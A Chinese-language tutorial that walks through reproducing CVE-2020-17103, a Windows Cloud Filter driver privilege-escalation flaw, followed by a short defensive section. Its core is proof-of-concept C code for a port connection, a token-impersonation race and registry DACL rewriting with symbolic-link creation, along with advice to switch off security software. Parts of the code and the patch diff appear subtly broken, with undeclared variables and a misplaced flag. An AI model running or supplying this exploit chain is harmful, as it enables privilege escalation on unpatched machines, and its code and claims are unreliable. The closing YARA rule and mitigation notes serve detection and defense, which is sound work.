Windows 10/11下复现CVE-2020-17103:从cldapi.dll调用到注册表权限提升的完整流程
2026/6/8 11:55:03 网站建设 项目流程

Windows 10/11下CVE-2020-17103漏洞复现实战指南

在Windows安全研究领域,Minifilter驱动漏洞一直是权限提升(EoP)攻击的热门目标。CVE-2020-17103作为cldflt.sys驱动中的一个经典漏洞,通过巧妙利用注册表操作和线程竞争条件,实现了从普通用户到系统级权限的跨越。本文将带您从零开始,在Windows 10/11实验环境中完整复现这个漏洞,深入理解其背后的技术原理和利用技巧。

1. 环境准备与基础知识

复现CVE-2020-17103需要特定的环境配置和工具准备。以下是您需要准备的清单:

  • 操作系统:Windows 10 20H2或Windows 11 21H2(需未安装KB4598291补丁)
  • 调试工具
    • WinDbg Preview(用于内核调试)
    • Process Monitor(监控注册表和进程活动)
    • API Monitor(跟踪API调用)
  • 开发环境
    • Visual Studio 2019+(用于编译PoC)
    • Windows Driver Kit(WDK)10
  • 关键文件
    • cldapi.dll(位于System32目录)
    • cldflt.sys(驱动文件)

注意:实验环境建议使用虚拟机,并关闭所有安全防护软件以避免干扰。

理解漏洞的核心需要掌握几个关键概念:

  1. Minifilter驱动架构:Windows文件系统过滤驱动框架,允许开发者在文件操作路径上插入处理逻辑
  2. 通信端口机制:Minifilter驱动通过创建命名端口与用户态程序通信
  3. 注册表安全描述符:控制对注册表项的访问权限,包括WRITE_DAC等关键权限

2. 漏洞原理深度解析

CVE-2020-17103的核心问题出在cldflt.sys驱动的HsmiOsOpenAppPolicyKey函数中。让我们通过补丁对比来理解漏洞本质:

// 补丁前代码片段 ZwCreateKey( &hKey, KEY_WRITE | KEY_READ, &ObjectAttributes, 0, NULL, REG_OPTION_NON_VOLATILE, NULL); // 补丁后代码片段 ZwCreateKey( &hKey, KEY_WRITE | KEY_READ, &ObjectAttributes, 0, NULL, REG_OPTION_NON_VOLATILE | OBJ_FORCE_ACCESS_CHECK, NULL);

漏洞利用涉及三个关键阶段:

  1. 用户态触发:通过cldapi.dll导出函数CfAbortOperation触发驱动回调
  2. 竞争条件构造:在RtlOpenCurrentUser调用期间切换线程令牌
  3. 权限提升:利用获得的WRITE_DAC权限创建注册表符号链接

3. 完整复现步骤

3.1 搭建通信通道

首先需要建立与\CLDMSGPORT端口的通信连接。以下是关键代码实现:

#include <windows.h> #include <fltuser.h> HRESULT ConnectToPort() { HANDLE hPort = NULL; INT context[2] = { 0x63706C43, 1 }; HRESULT hr = FilterConnectCommunicationPort( L"\\CLDMSGPORT", 0, context, sizeof(context), NULL, &hPort); if (SUCCEEDED(hr)) { printf("[+] 成功连接到CLDMSGPORT端口\n"); return hr; } else { printf("[-] 连接失败: 0x%08X\n", hr); return hr; } }

3.2 构造线程竞争条件

实现令牌切换是触发漏洞的关键。以下是竞争条件的实现代码:

DWORD WINAPI ImpersonateThread(LPVOID lpParam) { HANDLE hToken = NULL; // 获取匿名令牌 if (!ImpersonateAnonymousToken(GetCurrentThread())) { printf("[-] 模拟匿名令牌失败\n"); return 1; } // 短暂延迟后恢复原始令牌 Sleep(50); RevertToSelf(); return 0; } void CreateCompetition() { HANDLE hThread = CreateThread(NULL, 0, ImpersonateThread, NULL, 0, NULL); if (hThread == NULL) { printf("[-] 创建线程失败\n"); return; } // 调用漏洞触发函数 HMODULE hCldapi = LoadLibrary(L"cldapi.dll"); FARPROC pCfAbortOperation = GetProcAddress(hCldapi, "CfAbortOperation"); if (pCfAbortOperation != NULL) { ((HRESULT(WINAPI*)(HANDLE))pCfAbortOperation)(NULL); } WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); }

3.3 注册表操作与权限提升

成功触发漏洞后,可以操作注册表实现权限提升:

  1. 获取WRITE_DAC权限:利用漏洞获得的句柄修改安全描述符
  2. 创建符号链接:将BlockedApps项链接到目标注册表路径
void ExploitRegistry(HKEY hVulnerableKey) { // 修改安全描述符 PACL pNewAcl = NULL; EXPLICIT_ACCESS ea = {0}; ea.grfAccessPermissions = KEY_CREATE_LINK; ea.grfAccessMode = GRANT_ACCESS; ea.grfInheritance = NO_INHERITANCE; ea.Trustee.TrusteeForm = TRUSTEE_IS_SID; ea.Trustee.TrusteeType = TRUSTEE_IS_USER; ea.Trustee.ptstrName = (LPTSTR)GetUserSid(); SetEntriesInAcl(1, &ea, NULL, &pNewAcl); SECURITY_DESCRIPTOR sd = {0}; InitializeSecurityDescriptor(&sd, SECURITY_DESCRIPTOR_REVISION); SetSecurityDescriptorDacl(&sd, TRUE, pNewAcl, FALSE); RegSetKeySecurity(hVulnerableKey, DACL_SECURITY_INFORMATION, &sd); // 创建符号链接 RegDeleteKey(hVulnerableKey, L"BlockedApps"); RegCreateKey(hVulnerableKey, L"BlockedApps", &hLinkKey); RegSetValueEx(hLinkKey, L"SymbolicLinkValue", 0, REG_SZ, (const BYTE*)L"\\Registry\\User\\.DEFAULT\\demo", sizeof(L"\\Registry\\User\\.DEFAULT\\demo")); }

4. 调试技巧与问题排查

在复现过程中可能会遇到各种问题,以下是一些实用的调试技巧:

4.1 内核调试设置

使用WinDbg进行内核调试需要特殊配置:

  1. 在目标机上启用调试模式:
bcdedit /debug on bcdedit /dbgsettings serial debugport:1 baudrate:115200
  1. 配置WinDbg符号路径:
.sympath srv*https://msdl.microsoft.com/download/symbols .reload

4.2 关键断点设置

在驱动漏洞分析中,这些断点非常有用:

// 设置漏洞函数断点 bp cldflt!HsmiOsOpenAppPolicyKey // 监控注册表操作 bp nt!NtCreateKey bp nt!NtSetValueKey // 线程令牌变化监控 bp nt!PsImpersonateClient bp nt!PsRevertToSelf

4.3 常见问题解决

问题现象可能原因解决方案
连接端口失败服务未运行检查Cloud Filter服务状态
漏洞未触发竞争条件不满足调整线程延迟时间
权限提升失败注册表路径错误验证.DEFAULT路径权限

5. 防御措施与缓解方案

虽然微软已经通过补丁修复了这个漏洞,但了解防御措施对安全研究同样重要:

  1. 补丁验证

    • 检查KB4598291是否安装
    • 验证cldflt.sys文件版本是否为10.0.19041.662+
  2. 系统加固建议

    • 限制普通用户对\RPC Control\CLDMSGPORT的访问
    • 监控可疑的注册表符号链接创建行为
  3. 检测规则示例(YARA规则):

rule CVE_2020_17103_Exploit { strings: $cldapi = "cldapi.dll" wide $abort = "CfAbortOperation" wide $port = "\\CLDMSGPORT" wide condition: all of them }

在实际项目中,我们发现这种类型的漏洞往往出现在驱动与用户态的交互边界上。通过这次复现,不仅理解了漏洞原理,更重要的是掌握了Minifilter驱动安全审计的方法论。建议有兴趣的读者可以进一步研究其他Minifilter驱动的通信机制,或许能发现新的安全问题。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询